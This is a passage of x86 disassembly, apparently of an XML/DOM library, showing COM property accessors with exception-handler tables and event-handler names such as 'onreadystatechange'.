loc_69B585D4:				; CODE XREF: sub_69B583A8+224j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-3Ch]


loc_69B585E8:				; CODE XREF: sub_69B583A8+20j
		call	sub_69B1853C
		retn	14h
sub_69B583A8	endp

; ---------------------------------------------------------------------------
dword_69B585F0	dd 0FFFFFFFFh			dd offset loc_69B5856F
		dd offset loc_69B58578

; =============== S U B	R O U T	I N E =======================================



sub_69B585FC	proc near		; DATA XREF: .text:69B28F5Co
		push	24h
		push	offset dword_69B58690
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B5861E
		mov	eax, 80004005h
		jmp	short loc_69B58682
; ---------------------------------------------------------------------------


loc_69B5861E:				; CODE XREF: sub_69B585FC+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-4], edi
		mov	esi, [esi+18h]
		mov	[ebp-30h], esi
		mov	al, [esi+82h]
		mov	[ebp-31h], al
		neg	al
		sbb	eax, eax
		mov	ecx, [ebp+0Ch]
		mov	[ecx], ax
		jmp	short loc_69B5866B
; ---------------------------------------------------------------------------


loc_69B5864B:				; DATA XREF: .text:69B58694o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B58654:				; DATA XREF: .text:69B58698o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B5866B:				; CODE XREF: sub_69B585FC+4Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B58682:				; CODE XREF: sub_69B585FC+20j
		call	sub_69B1853C
		retn	8
sub_69B585FC	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B58690	dd 0FFFFFFFFh			dd offset loc_69B5864B
		dd offset loc_69B58654

; =============== S U B	R O U T	I N E =======================================



sub_69B5869C	proc near		; DATA XREF: .text:69B28F60o
		push	24h
		push	offset dword_69B58740
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		test	edi, edi
		jz	short loc_69B586DB
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B43E1C
		cmp	byte ptr [ebp-2Ch], 0
		jnz	short loc_69B586E2
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B586DB:				; CODE XREF: sub_69B5869C+19j
		mov	eax, 80004005h
		jmp	short loc_69B58734
; ---------------------------------------------------------------------------


loc_69B586E2:				; CODE XREF: sub_69B5869C+2Ej
		xor	edi, edi
		and	[ebp-4], edi
		mov	esi, [esi+18h]
		mov	[ebp-34h], esi
		cmp	word ptr [ebp+0Ch], 0FFFFh
		setz	al
		mov	[esi+82h], al
		jmp	short loc_69B5871D
; ---------------------------------------------------------------------------


loc_69B586FD:				; DATA XREF: .text:69B58744o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B58706:				; DATA XREF: .text:69B58748o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B5871D:				; CODE XREF: sub_69B5869C+5Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B58734:				; CODE XREF: sub_69B5869C+44j
		call	sub_69B1853C
		retn	8
sub_69B5869C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B58740	dd 0FFFFFFFFh			dd offset loc_69B586FD
		dd offset loc_69B58706

; =============== S U B	R O U T	I N E =======================================



sub_69B5874C	proc near		; DATA XREF: .text:69B28F64o
		push	24h
		push	offset dword_69B587E0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B5876E
		mov	eax, 80004005h
		jmp	short loc_69B587D2
; ---------------------------------------------------------------------------


loc_69B5876E:				; CODE XREF: sub_69B5874C+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-4], edi
		mov	esi, [esi+18h]
		mov	[ebp-30h], esi
		mov	al, [esi+83h]
		mov	[ebp-31h], al
		neg	al
		sbb	eax, eax
		mov	ecx, [ebp+0Ch]
		mov	[ecx], ax
		jmp	short loc_69B587BB
; ---------------------------------------------------------------------------


loc_69B5879B:				; DATA XREF: .text:69B587E4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B587A4:				; DATA XREF: .text:69B587E8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B587BB:				; CODE XREF: sub_69B5874C+4Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B587D2:				; CODE XREF: sub_69B5874C+20j
		call	sub_69B1853C
		retn	8
sub_69B5874C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B587E0	dd 0FFFFFFFFh			dd offset loc_69B5879B
		dd offset loc_69B587A4

; =============== S U B	R O U T	I N E =======================================



sub_69B587EC	proc near		; DATA XREF: .text:69B28F68o
		push	24h
		push	offset dword_69B58890
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		test	edi, edi
		jz	short loc_69B5882B
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B43E1C
		cmp	byte ptr [ebp-2Ch], 0
		jnz	short loc_69B58832
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B5882B:				; CODE XREF: sub_69B587EC+19j
		mov	eax, 80004005h
		jmp	short loc_69B58884
; ---------------------------------------------------------------------------


loc_69B58832:				; CODE XREF: sub_69B587EC+2Ej
		xor	edi, edi
		and	[ebp-4], edi
		mov	esi, [esi+18h]
		mov	[ebp-34h], esi
		cmp	word ptr [ebp+0Ch], 0FFFFh
		setz	al
		mov	[esi+83h], al
		jmp	short loc_69B5886D
; ---------------------------------------------------------------------------


loc_69B5884D:				; DATA XREF: .text:69B58894o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B58856:				; DATA XREF: .text:69B58898o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B5886D:				; CODE XREF: sub_69B587EC+5Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B58884:				; CODE XREF: sub_69B587EC+44j
		call	sub_69B1853C
		retn	8
sub_69B587EC	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B58890	dd 0FFFFFFFFh			dd offset loc_69B5884D
		dd offset loc_69B58856

; =============== S U B	R O U T	I N E =======================================



sub_69B5889C	proc near		; DATA XREF: .text:69B28F6Co
		push	24h
		push	offset dword_69B58930
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B588BE
		mov	eax, 80004005h
		jmp	short loc_69B58922
; ---------------------------------------------------------------------------


loc_69B588BE:				; CODE XREF: sub_69B5889C+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-4], edi
		mov	esi, [esi+18h]
		mov	[ebp-30h], esi
		mov	al, [esi+8Eh]
		mov	[ebp-31h], al
		neg	al
		sbb	eax, eax
		mov	ecx, [ebp+0Ch]
		mov	[ecx], ax
		jmp	short loc_69B5890B
; ---------------------------------------------------------------------------


loc_69B588EB:				; DATA XREF: .text:69B58934o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B588F4:				; DATA XREF: .text:69B58938o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B5890B:				; CODE XREF: sub_69B5889C+4Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B58922:				; CODE XREF: sub_69B5889C+20j
		call	sub_69B1853C
		retn	8
sub_69B5889C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B58930	dd 0FFFFFFFFh			dd offset loc_69B588EB
		dd offset loc_69B588F4

; =============== S U B	R O U T	I N E =======================================



sub_69B5893C	proc near		; DATA XREF: .text:69B28F70o
		push	24h
		push	offset dword_69B589E0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		test	edi, edi
		jz	short loc_69B5897B
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B43E1C
		cmp	byte ptr [ebp-2Ch], 0
		jnz	short loc_69B58982
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B5897B:				; CODE XREF: sub_69B5893C+19j
		mov	eax, 80004005h
		jmp	short loc_69B589D4
; ---------------------------------------------------------------------------


loc_69B58982:				; CODE XREF: sub_69B5893C+2Ej
		xor	edi, edi
		and	[ebp-4], edi
		mov	esi, [esi+18h]
		mov	[ebp-34h], esi
		cmp	word ptr [ebp+0Ch], 0FFFFh
		setz	al
		mov	[esi+8Eh], al
		jmp	short loc_69B589BD
; ---------------------------------------------------------------------------


loc_69B5899D:				; DATA XREF: .text:69B589E4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B589A6:				; DATA XREF: .text:69B589E8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B589BD:				; CODE XREF: sub_69B5893C+5Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B589D4:				; CODE XREF: sub_69B5893C+44j
		call	sub_69B1853C
		retn	8
sub_69B5893C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B589E0	dd 0FFFFFFFFh			dd offset loc_69B5899D
		dd offset loc_69B589A6

; =============== S U B	R O U T	I N E =======================================



sub_69B589EC	proc near		; DATA XREF: .text:69B28F74o
		push	30h
		push	offset dword_69B58AC0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B58A0F
		mov	eax, 80004005h
		jmp	loc_69B58A90
; ---------------------------------------------------------------------------


loc_69B58A0F:				; CODE XREF: sub_69B589EC+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		lea	eax, [ebp-38h]
		push	eax		; pvarg
		call	VariantInit
		and	dword ptr [ebp-4], 0
		push	9		; vt
		push	1		; wFlags
		lea	eax, [ebp+0Ch]
		push	eax		; pvarSrc
		lea	eax, [ebp-38h]
		push	eax		; pvargDest
		call	VariantChangeType
		mov	edi, eax
		mov	[ebp-3Ch], edi
		test	edi, edi
		jl	short loc_69B58A6F
		mov	ecx, [esi+18h]
		mov	[ebp-40h], ecx
		push	dword ptr [ebp-30h]
		call	sub_69B3F0EC
		jmp	short loc_69B58A6F
; ---------------------------------------------------------------------------


loc_69B58A57:				; DATA XREF: .text:69B58AC4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B58A60:				; DATA XREF: .text:69B58AC8o
		mov	esp, [ebp-18h]
		push	offset aOnreadystatech ; "onreadystatechange"
		call	sub_69B57011
		mov	edi, eax


loc_69B58A6F:				; CODE XREF: sub_69B589EC+59j
					; sub_69B589EC+69j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-38h]
		push	eax		; pvarg
		call	VariantClear
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B58A90:				; CODE XREF: sub_69B589EC+1Ej
		call	sub_69B1853C
		retn	14h
sub_69B589EC	endp

; ---------------------------------------------------------------------------
; const	WCHAR aOnreadystatech
aOnreadystatech:			; DATA XREF: sub_69B589EC+77o
					; .data:69B998A0o
		unicode	0, <onreadystatechange>,0
		align 10h
dword_69B58AC0	dd 0FFFFFFFFh			dd offset loc_69B58A57
		dd offset loc_69B58A60

; =============== S U B	R O U T	I N E =======================================



sub_69B58ACC	proc near		; DATA XREF: .text:69B28F78o
		push	30h
		push	offset dword_69B58B98
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B58AEF
		mov	eax, 80004005h
		jmp	loc_69B58B70
; ---------------------------------------------------------------------------


loc_69B58AEF:				; CODE XREF: sub_69B58ACC+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		lea	eax, [ebp-38h]
		push	eax		; pvarg
		call	VariantInit
		and	dword ptr [ebp-4], 0
		push	9		; vt
		push	1		; wFlags
		lea	eax, [ebp+0Ch]
		push	eax		; pvarSrc
		lea	eax, [ebp-38h]
		push	eax		; pvargDest
		call	VariantChangeType
		mov	edi, eax
		mov	[ebp-3Ch], edi
		test	edi, edi
		jl	short loc_69B58B4F
		mov	ecx, [esi+18h]
		mov	[ebp-40h], ecx
		push	dword ptr [ebp+14h]
		call	sub_69B3F0F7
		jmp	short loc_69B58B4F
; ---------------------------------------------------------------------------


loc_69B58B37:				; DATA XREF: .text:69B58B9Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B58B40:				; DATA XREF: .text:69B58BA0o
		mov	esp, [ebp-18h]
		push	offset aOndataavaila_0 ; "ondataavailable"
		call	sub_69B57011
		mov	edi, eax


loc_69B58B4F:				; CODE XREF: sub_69B58ACC+59j
					; sub_69B58ACC+69j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-38h]
		push	eax		; pvarg
		call	VariantClear
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B58B70:				; CODE XREF: sub_69B58ACC+1Ej
		call	sub_69B1853C
		retn	14h
sub_69B58ACC	endp

; ---------------------------------------------------------------------------
; const	WCHAR aOndataavaila_0
aOndataavaila_0:			; DATA XREF: sub_69B58ACC+77o
					; .data:69B99888o
		unicode	0, <ondataavailable>,0
dword_69B58B98	dd 0FFFFFFFFh			dd offset loc_69B58B37
		dd offset loc_69B58B40

; =============== S U B	R O U T	I N E =======================================



sub_69B58BA4	proc near		; DATA XREF: .text:69B28F7Co
		push	30h
		push	offset dword_69B58C70
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B58BC7
		mov	eax, 80004005h
		jmp	loc_69B58C48
; ---------------------------------------------------------------------------


loc_69B58BC7:				; CODE XREF: sub_69B58BA4+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		lea	eax, [ebp-38h]
		push	eax		; pvarg
		call	VariantInit
		and	dword ptr [ebp-4], 0
		push	9		; vt
		push	1		; wFlags
		lea	eax, [ebp+0Ch]
		push	eax		; pvarSrc
		lea	eax, [ebp-38h]
		push	eax		; pvargDest
		call	VariantChangeType
		mov	edi, eax
		mov	[ebp-3Ch], edi
		test	edi, edi
		jl	short loc_69B58C27
		mov	ecx, [esi+18h]
		mov	[ebp-40h], ecx
		push	dword ptr [ebp+14h]
		call	sub_69B3F102
		jmp	short loc_69B58C27
; ---------------------------------------------------------------------------


loc_69B58C0F:				; DATA XREF: .text:69B58C74o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B58C18:				; DATA XREF: .text:69B58C78o
		mov	esp, [ebp-18h]
		push	offset aOntransformnod ; "ontransformnode"
		call	sub_69B57011
		mov	edi, eax


loc_69B58C27:				; CODE XREF: sub_69B58BA4+59j
					; sub_69B58BA4+69j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-38h]
		push	eax		; pvarg
		call	VariantClear
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B58C48:				; CODE XREF: sub_69B58BA4+1Ej
		call	sub_69B1853C
		retn	14h
sub_69B58BA4	endp

; ---------------------------------------------------------------------------
; const	WCHAR aOntransformnod
aOntransformnod:			; DATA XREF: sub_69B58BA4+77o
					; .data:69B998B8o
		unicode	0, <ontransformnode>,0
dword_69B58C70	dd 0FFFFFFFFh			dd offset loc_69B58C0F
		dd offset loc_69B58C18

; =============== S U B	R O U T	I N E =======================================



sub_69B58C7C	proc near		; DATA XREF: .text:69B28F80o
		push	30h
		push	offset dword_69B58D68
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		test	edi, edi
		jnz	short loc_69B58CA1
		mov	eax, 80004005h
		jmp	loc_69B58D5C
; ---------------------------------------------------------------------------


loc_69B58CA1:				; CODE XREF: sub_69B58C7C+19j
		mov	eax, [ebp+8]
		mov	esi, [eax+18h]
		push	esi
		push	edi
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	ebx, [ebp+0Ch]
		test	ebx, ebx
		jnz	short loc_69B58CD1
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	edi
		call	dword_69B92944
		mov	eax, 80004003h
		jmp	loc_69B58D5C
; ---------------------------------------------------------------------------


loc_69B58CD1:				; CODE XREF: sub_69B58C7C+3Aj
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+64h]
		mov	eax, [edi]
		mov	[ebp-30h], eax
		mov	[ebp-34h], eax
		test	eax, eax
		jz	short loc_69B58CEE
		mov	[ebx], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		jmp	short loc_69B58D17
; ---------------------------------------------------------------------------


loc_69B58CEE:				; CODE XREF: sub_69B58C7C+66j
		push	24h
		call	sub_69B1D897
		mov	[ebp-38h], eax
		test	eax, eax
		jz	short loc_69B58D06
		push	esi
		mov	ecx, eax
		call	sub_69B3CDC8
		jmp	short loc_69B58D08
; ---------------------------------------------------------------------------


loc_69B58D06:				; CODE XREF: sub_69B58C7C+7Ej
		xor	eax, eax


loc_69B58D08:				; CODE XREF: sub_69B58C7C+88j
		mov	[ebp-34h], eax
		mov	[ebx], eax
		mov	[ebp-3Ch], edi
		push	eax		; Value
		push	edi		; Target
		call	sub_69B18921


loc_69B58D17:				; CODE XREF: sub_69B58C7C+70j
		and	dword ptr [ebp-40h], 0
		jmp	short loc_69B58D44
; ---------------------------------------------------------------------------


loc_69B58D1D:				; DATA XREF: .text:69B58D6Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B58D26:				; DATA XREF: .text:69B58D70o
		mov	esp, [ebp-18h]
		mov	eax, [ebp+0Ch]
		and	dword ptr [eax], 0
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-40h], eax


loc_69B58D44:				; CODE XREF: sub_69B58C7C+9Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-40h]


loc_69B58D5C:				; CODE XREF: sub_69B58C7C+20j
					; sub_69B58C7C+50j
		call	sub_69B1853C
		retn	8
sub_69B58C7C	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B58D68	dd 0FFFFFFFFh			dd offset loc_69B58D1D
		dd offset loc_69B58D26

; =============== S U B	R O U T	I N E =======================================



sub_69B58D74	proc near		; DATA XREF: .text:69B28F84o
		push	28h
		push	offset dword_69B58E40
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		test	edi, edi
		jnz	short loc_69B58D99
		mov	eax, 80004005h
		jmp	loc_69B58E38
; ---------------------------------------------------------------------------


loc_69B58D99:				; CODE XREF: sub_69B58D74+19j
		mov	eax, [ebp+8]
		mov	esi, [eax+18h]
		push	esi
		push	edi
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	ecx, [ebp+0Ch]
		test	ecx, ecx
		jnz	short loc_69B58DC6
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	edi
		call	dword_69B92944
		mov	eax, 80004003h
		jmp	short loc_69B58E38
; ---------------------------------------------------------------------------


loc_69B58DC6:				; CODE XREF: sub_69B58D74+3Aj
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+68h]
		mov	[ebp-30h], eax
		mov	[ebp-34h], eax
		mov	[ecx+8], eax
		test	eax, eax
		jz	short loc_69B58DEB
		mov	word ptr [ecx],	9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		and	dword ptr [ebp-38h], 0
		jmp	short loc_69B58E20
; ---------------------------------------------------------------------------


loc_69B58DEB:				; CODE XREF: sub_69B58D74+64j
		xor	eax, eax
		inc	eax
		mov	[ecx], ax
		jmp	short loc_69B58E1D
; ---------------------------------------------------------------------------


loc_69B58DF3:				; DATA XREF: .text:69B58E44o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B58DFC:				; DATA XREF: .text:69B58E48o
		mov	esp, [ebp-18h]
		mov	eax, [ebp+0Ch]
		mov	word ptr [eax],	1
		and	dword ptr [eax+8], 0
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B58E1D:				; CODE XREF: sub_69B58D74+7Dj
		mov	[ebp-38h], eax


loc_69B58E20:				; CODE XREF: sub_69B58D74+75j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-38h]


loc_69B58E38:				; CODE XREF: sub_69B58D74+20j
					; sub_69B58D74+50j
		call	sub_69B1853C
		retn	8
sub_69B58D74	endp

; ---------------------------------------------------------------------------
dword_69B58E40	dd 0FFFFFFFFh			dd offset loc_69B58DF3
		dd offset loc_69B58DFC

; =============== S U B	R O U T	I N E =======================================



sub_69B58E4C	proc near		; DATA XREF: .text:69B28F8Co
		push	48h
		push	offset dword_69B59010
		call	sub_69B19C5C
		call	dword_69B92948
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		xor	edi, edi
		cmp	ebx, edi
		jnz	short loc_69B58E73
		mov	eax, 80004005h
		jmp	loc_69B59003
; ---------------------------------------------------------------------------


loc_69B58E73:				; CODE XREF: sub_69B58E4C+1Bj
		mov	eax, [ebp+8]
		mov	esi, [eax+18h]
		mov	[ebp-20h], esi
		cmp	dword ptr [esi+40h], 4
		jz	short loc_69B58E97
		mov	esi, 8000000Ah
		push	esi
		call	sub_69B1D411
		push	dword ptr [eax+0Ch]
		call	sub_69B2D2C8
		jmp	short loc_69B58EB4
; ---------------------------------------------------------------------------


loc_69B58E97:				; CODE XREF: sub_69B58E4C+34j
		push	esi
		push	ebx
		lea	ecx, [ebp-34h]
		call	sub_69B43E1C
		cmp	byte ptr [ebp-30h], 0
		jnz	short loc_69B58EC2
		lea	ecx, [ebp-34h]
		call	sub_69B4637D
		mov	esi, 80004005h


loc_69B58EB4:				; CODE XREF: sub_69B58E4C+49j
		push	ebx
		call	dword_69B92944
		mov	eax, esi
		jmp	loc_69B59003
; ---------------------------------------------------------------------------


loc_69B58EC2:				; CODE XREF: sub_69B58E4C+59j
		mov	[ebp-38h], edi
		lea	eax, [esi+8Ch]
		mov	cl, [eax]
		mov	[ebp-39h], cl
		lea	ecx, [esi+82h]
		mov	dl, [ecx]
		mov	[ebp-3Ah], dl
		mov	byte ptr [eax],	0
		mov	byte ptr [ecx],	1
		mov	[ebp-4], edi
		mov	ecx, [esi+4Ch]
		mov	[ebp-40h], ecx
		mov	[ebp-44h], ecx
		mov	[ebp-48h], edi
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_69B49BB6


loc_69B58EF9:				; CODE XREF: sub_69B58E4C+C9j
		mov	[ebp-50h], eax
		cmp	eax, edi
		jz	short loc_69B58F17
		test	byte ptr [eax+0Bh], 1Fh
		jnz	short loc_69B58F09
		inc	dword ptr [ebp-48h]


loc_69B58F09:				; CODE XREF: sub_69B58E4C+B8j
		lea	eax, [ebp-4Ch]
		push	eax
		mov	ecx, [ebp-44h]
		call	sub_69B47D9F
		jmp	short loc_69B58EF9
; ---------------------------------------------------------------------------


loc_69B58F17:				; CODE XREF: sub_69B58E4C+B2j
		cmp	dword ptr [ebp-48h], 1
		jz	short loc_69B58F2D
		push	edi
		mov	eax, 0C00CE223h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B58F2D:				; CODE XREF: sub_69B58E4C+CFj
		mov	ecx, esi
		call	sub_69B3DABE
		mov	ecx, eax
		call	sub_69B8C4AA
		xor	ebx, ebx
		mov	[ebp-54h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B58F67
; ---------------------------------------------------------------------------


loc_69B58F46:				; DATA XREF: .text:69B59014o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B58F4F:				; DATA XREF: .text:69B59018o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ebx, eax
		mov	dword ptr [ebp-38h], 1
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-20h]


loc_69B58F67:				; CODE XREF: sub_69B58E4C+F8j
		mov	edi, [ebp+0Ch]
		test	edi, edi
		jz	short loc_69B58FD7
		mov	dword ptr [ebp-4], 1
		test	ebx, ebx
		jz	short loc_69B58F9E
		push	20h
		call	sub_69B1D897
		mov	[ebp-58h], eax
		test	eax, eax
		jz	short loc_69B58F91
		push	ebx
		mov	ecx, eax
		call	sub_69B5A7CD
		jmp	short loc_69B58F93
; ---------------------------------------------------------------------------


loc_69B58F91:				; CODE XREF: sub_69B58E4C+139j
		xor	eax, eax


loc_69B58F93:				; CODE XREF: sub_69B58E4C+143j
		mov	[edi], eax
		mov	dword ptr [ebp-38h], 1
		jmp	short loc_69B58FA9
; ---------------------------------------------------------------------------


loc_69B58F9E:				; CODE XREF: sub_69B58E4C+12Bj
		call	sub_69B5A89E
		mov	[edi], eax
		and	dword ptr [ebp-38h], 0


loc_69B58FA9:				; CODE XREF: sub_69B58E4C+150j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B58FD7
; ---------------------------------------------------------------------------


loc_69B58FAF:				; DATA XREF: .text:69B59020o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B58FB8:				; DATA XREF: .text:69B59024o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-38h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-20h]


loc_69B58FD7:				; CODE XREF: sub_69B58E4C+120j
					; sub_69B58E4C+161j
		mov	al, [ebp-39h]
		mov	[esi+8Ch], al
		mov	al, [ebp-3Ah]
		mov	[esi+82h], al
		lea	ecx, [ebp-34h]
		call	sub_69B4637D
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_69B59000
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B59000:				; CODE XREF: sub_69B58E4C+1A9j
		mov	eax, [ebp-38h]


loc_69B59003:				; CODE XREF: sub_69B58E4C+22j
					; sub_69B58E4C+71j
		call	sub_69B1853C
		retn	8
sub_69B58E4C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B59010	dd 0FFFFFFFFh			dd offset loc_69B58F46
		dd offset loc_69B58F4F
		dd 0FFFFFFFFh
		dd offset loc_69B58FAF
		dd offset loc_69B58FB8

; =============== S U B	R O U T	I N E =======================================



